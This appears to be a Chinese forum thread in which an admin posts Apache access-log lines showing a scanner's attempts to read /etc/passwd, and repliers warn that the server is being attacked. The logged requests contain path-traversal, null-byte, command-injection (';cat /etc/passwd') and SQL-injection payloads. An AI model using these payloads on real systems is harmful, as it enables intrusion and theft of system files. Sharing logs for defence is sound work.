grep /etc/passwd *
#cd /var/log/httpd
#grep /etc/passwd *
vhost_access_webmanage.log:12.77.169.22 - - "GET /netget?sid=user&msg=300&file=../../../../../../../../../../etc/passwd HTTP/1.0" 404 280
vhost_access_webmanage.log:12.77.169.22 - - "GET ///etc/passwd HTTP/1.0" 404 284
vhost_access_webmanage.log:12.77.169.22 - - "GET /albums/userpics/Copperminer.jpg.php?cat%20/etc/passwd HTTP/1.0" 404 309
vhost_access_webmanage.log:12.77.169.22 - - "GET /autohtml.php?op=modload&mainfile=x&name=/etc/passwd HTTP/1.0" 404 286
vhost_access_webmanage.log:12.77.169.22 - - "GET /atomicboard/index.php?location=../../../../../../../../../../etc/passwd HTTP/1.0" 404 295
vhost_access_webmanage.log:12.77.169.22 - - "GET /current/modules.php?mod=fm&file=../../../../../../../../../../etc/passwd%00&bn=fm_d1 HTTP/1.0" 404 293
vhost_access_webmanage.log:12.77.169.22 - - "GET /current/index.php?site=demos&bn=../../../../../../../../../../etc/passwd%00 HTTP/1.0" 404 291
vhost_access_webmanage.log:12.77.169.22 - - "GET /dev/translations.php?ONLY=%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd%00 HTTP/1.0" 404 294
vhost_access_webmanage.log:12.77.169.22 - - "GET /DomainFiles/*//../../../../../../../../../../etc/passwd HTTP/1.0" 400 302
vhost_access_webmanage.log:12.77.169.22 - - "GET /ezhttpbench.php?AnalyseSite=/etc/passwd&NumLoops=1 HTTP/1.0" 404 289
vhost_access_webmanage.log:12.77.169.22 - - "GET /index.php?download=/etc/passwd HTTP/1.0" 404 283
vhost_access_webmanage.log:12.77.169.22 - - "GET /index.php?|=../../../../../../../../../etc/passwd HTTP/1.0" 404 283
vhost_access_webmanage.log:12.77.169.22 - - "GET /index.php?page=../../../../../../../../../../etc/passwd HTTP/1.0" 404 283
vhost_access_webmanage.log:12.77.169.22 - - "GET /index.php?l=forum/view.php&topic=../../../../../../../../../etc/passwd HTTP/1.0" 404 283
vhost_access_webmanage.log:12.77.169.22 - - "GET /jsp/jspsamp/jspexamples/viewsource.jsp?source=../../../../../../../../../../etc/passwd HTTP/1.0" 404 312
vhost_access_webmanage.log:12.77.169.22 - - "GET /k/home?dir=/&file=../../../../../../../../etc/passwd&lang=kor HTTP/1.0" 404 280
vhost_access_webmanage.log:12.77.169.22 - - "GET /nph-showlogs.pl?files=../../../../../../../../etc/passwd&filter=.*&submit=Go&linecnt=500&refresh=0 HTTP/1.0" 404 289
vhost_access_webmanage.log:12.77.169.22 - - "GET /phpwebfilemgr/index.php?f=../../../../../../../../../etc/passwd HTTP/1.0" 404 297
vhost_access_webmanage.log:12.77.169.22 - - "GET /phptonuke.php?filnavn=/etc/passwd HTTP/1.0" 404 287
vhost_access_webmanage.log:12.77.169.22 - - "GET /put/cgi-bin/putport.exe?SWAP&BOM&OP=none&Lang=en-US&PutHtml=../../../../../../../../etc/passwd HTTP/1.0" 404 297
vhost_access_webmanage.log:12.77.169.22 - - "GET /ROADS/cgi-bin/search.pl?form=../../../../../../../../../../etc/passwd%00 HTTP/1.0" 404 297
vhost_access_webmanage.log:12.77.169.22 - - "GET /support/common.php?f=0&ForumLang=../../../../../../../../../../etc/passwd HTTP/1.0" 404 292
vhost_access_webmanage.log:12.77.169.22 - - "GET /viewpage.php?file=/etc/passwd HTTP/1.0" 404 286
vhost_access_webmanage.log:12.77.169.22 - - "GET /Web_Store/web_store.cgi?page=../../../../../../../../../../etc/passwd%00.html HTTP/1.0" 404 297
vhost_access_webmanage.log:12.77.169.22 - - "GET /webMathematica/MSP?MSPStoreID=../../../../../../../../../../etc/passwd&MSPStoreType=image/gif HTTP/1.0" 404 292
vhost_access_webmanage.log:12.77.169.22 - - "GET /servlet/webacc?User.html=../../../../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.0" 404 288
vhost_access_webmanage.log:12.77.169.22 - - "GET /webcalendar/forum.php?user_inc=../../../../../../../../../../etc/passwd HTTP/1.0" 404 295
vhost_access_webmanage.log:12.77.169.22 - - "GET /logbook.pl?file=../../../../../../../bin/cat%20/etc/passwd%00| HTTP/1.0" 404 284
vhost_access_webmanage.log:12.77.169.22 - - "GET /page.cgi?../../../../../../../../../../etc/passwd HTTP/1.0" 404 282
vhost_access_webmanage.log:12.77.169.22 - - "GET /base/webmail/readmsg.php?mailbox=../../../../../../../../../../../../../../etc/passwd&id=1 HTTP/1.0" 404 298
vhost_access_webmanage.log:12.77.169.22 - - "GET /athenareg.php?pass=%20;cat%20/etc/passwd HTTP/1.0" 404 287
vhost_access_webmanage.log:12.77.169.22 - - "GET /PSUser/PSCOErrPage.htm?errPagePath=/etc/passwd HTTP/1.0" 404 296
vhost_access_webmanage.log:12.77.169.22 - - "GET /search?NS-query-pat=../../../../../../../../../../etc/passwd HTTP/1.0" 404 280
vhost_access_webmanage.log:12.77.169.22 - - "GET /../../../../../../../../../../etc/passwd HTTP/1.0" 400 302
vhost_access_webmanage.log:12.77.169.22 - - "GET /................../etc/passwd HTTP/1.0" 404 303
vhost_access_webmanage.log:12.77.169.22 - - "GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.0" 400 302
vhost_access_webmanage.log:12.77.169.22 - - "GET /site/' UNION ALL SELECT FileToClob('/etc/passwd','server')::html,0 FROM sysusers WHERE username=USER --/.html HTTP/1.0" 404 280
vhost_access_webmanage.log:12.77.169.22 - - "GET /site/' UNION ALL SELECT FileToClob('/etc/passwd','server')::html,0 FROM sysusers WHERE username = USER --/.html HTTP/1.0" 404 280
vhost_access_webmanage.log:12.77.169.22 - - "GET /cgi-bin/handler/netsonar;cat /etc/passwd|?data=Download HTTP/1.0" 404 302
vhost_access_webmanage.log:12.77.169.22 - - "GET /perl/-e%20%22system('cat%20/etc/passwd');\\%22 HTTP/1.0" 404 321
vhost_error_webmanage.log: Invalid URI in request GET /DomainFiles/*//../../../../../../../../../../etc/passwd HTTP/1.0
vhost_error_webmanage.log: Invalid URI in request GET /../../../../../../../../../../etc/passwd HTTP/1.0
vhost_error_webmanage.log: Invalid URI in request GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.0
《解決方案》
:em02: :em02: :em02:
《解決方案》
恭喜恭喜，有人看上你的機器了:em02:
《解決方案》
有人要攻擊你的伺服器，小心歐
